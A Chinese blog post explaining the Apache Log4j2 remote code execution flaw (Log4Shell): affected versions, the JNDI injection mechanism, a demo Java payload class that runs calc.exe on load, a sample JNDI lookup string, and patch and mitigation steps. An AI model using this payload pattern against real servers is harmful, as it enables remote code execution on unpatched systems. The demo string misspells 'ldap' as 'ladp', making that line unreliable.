百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

如何看懂Apache Log4j 远程代码执行漏洞原理?

csdh11 2024-12-26 12:26 2 浏览

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

Log4j2介绍

Apache Log4j2是一款优秀的Java日志框架。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j2漏洞描述

漏洞名称:Apache Log4j2 远程代码执行漏洞。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

漏洞评级

严重。

漏洞危害

漏洞利用无需特殊配置,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

利用门槛极低。

影响版本

Apache Log4j 2.x <= 2.14.1

原理分析

本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

具体攻击步骤如下图:

恶意可执行代码如下:

import java.lang.Runtime;
import java.lang.Process;


public class Robots {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

模拟服务端使用log4j2记录日志代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Main {
    private static Logger logger = LogManager.getLogger(Main.class);


    public static void main(String[] args) {
        logger.error("${jndi:ladp://127.0.0.1:9000/log4j2}");
    }
}

解决方案

目前,Apache Log4j 已经发布了新版本来修复该漏洞,受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

临时修复建议

1.JVM 参数添加    -Dlog4j2.formatMsgNoLookups=true
2.修改log4j配置    log4j2.formatMsgNoLookups=True
3.系统环境变量设置    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

安全建议

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是log4j-core.jar这个包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。

我是Seven,一个不懈努力的程序猿,希望本文能对你有所裨益。

相关推荐

Web前端最强JavaScript Excel处理插件——exceljs

介绍exceljs是一个读取,操作和编写电子表格数据和样式到XLSX和JSON,从Excel电子表格文件逆向工程设计的项目。之所以称它最强,是因为它的功能强大,简直就是专门为Excel打造的前端处理插...

介绍一款国产开源免费的在线文件文档预览的kkFileView

无论是个人或企业,甚至是政府部门,能够在浏览器中直接打开浏览Office等格式文档,也是一个普遍的需求和应用场景。对于企业来说,在线文件文档预览在OA办公系统、在线学习系统及招聘网站等广泛的应用。对于...

如何批量提取文件名到excel表?推荐6个方法

在当今数字信息时代,文件管理面临的挑战日益凸显,尤其在面对海量文件时,高效提取并分类管理文件名称成为提升工作效率的关键环节。精准获取文件名不仅能够有效避免重复性工作,还能快速整理与分析数据,确保信息的...

Vue 前端开发——导入Excel/Csv vue导入excel到后端

项目开发中遇到导入表格常见的就是excel和csv格式,一般情况下我们会前端首先得到这个表格里面的数据,然后再把数据发送给后端,也有的是直接上传文件传给后台后台自己处理,这样就不好控制上传前预览和处...

wps宏js学习-1 wps宏教程

在JS中,万物皆对象。比如JS中的字符串、数组、函数等都是对象。这些对象都有自己的属性与方法,后面在对应的章节中都有讲解。而在WPS表格,也有很多对象,比如WPS表格程序就是最大的对象,再...

文件预览的终级解决方案-kkFileView

kkFileView是使用springboot打造文件文档在线预览项目解决方案,支持doc、docx、ppt、pptx、xls、xlsx、zip、rar、mp4、mp3以及众多类文本如txt、htm...

开源中的精品,具备丰富Excel处理能力的Javascript库——exceljs

介绍exceljs是一个读取,操作和编写电子表格数据和样式到XLSX和JSON,从Excel电子表格文件逆向工程设计的项目。之所以称它最强,是因为它的功能强大,简直就是专门为Excel打造的前端处理插...

8000字 | 详解 Tkinter 的 GUI 界面制作

...

统一操作系统UOS适配NTKO Office控件:浏览器在线编辑文档

近一段时间以来,统信软件旗下的统一操作系统UOS在软硬件适配方面不断拓展,整个生态日渐完善,可以越来越好满足日常办公需求。现在,NTKOOffice文档控件Linux版也完成了与统一操作系统UOS的...

电脑里文件突然打不开时,试试这个简单方法

有时,有的文件就是怎么都打不开,可能是没有设置文件的默认打开方式哦。右击文件,选择“属性”,点击“打开方式”旁边的“更改”,选择可以打开这个文件的程序。例如,今天我的word文件突然打不开了,电脑里...

从中招到妥协——Locky电脑勒索病毒 中毒记录

作者:jelly仔大家好,我是Jelly仔,这次我要晒的是一种电脑病毒——Locky,这应该算是#全站首晒#吧。一、背景3月1日的晚上,我实习下班回到宿舍,浏览了一会张大妈上的原创,正准备打开E...

JS宏之工作簿的新建与保存 工作表宏的使用方法

我们首先录制一个JS宏来看看工作簿新建和保存的代码是什么样子的吧functionMacro1(){Workbooks.Add(undefined);ActiveWorkbook.Custo...

不用任何 js 库,纯前端导出数据到 Excel / CSV 文件就简单几行代码

最近实现的导出数据为表格的需求,不需要工具库,也不要后端实现,mark一下。js导出excel表格...

JS宏之工作簿的打开与保存 宏的工作薄怎么打开

functiontest1(){varcurrentpath=ActiveWorkbook.Path;for(vari=1;i<=4;i++){letwb=Workb...

使用JavaScript实现前端导入和导出excel文件?(H5编辑器实战)

前言最近笔者终于把H5-Dooring...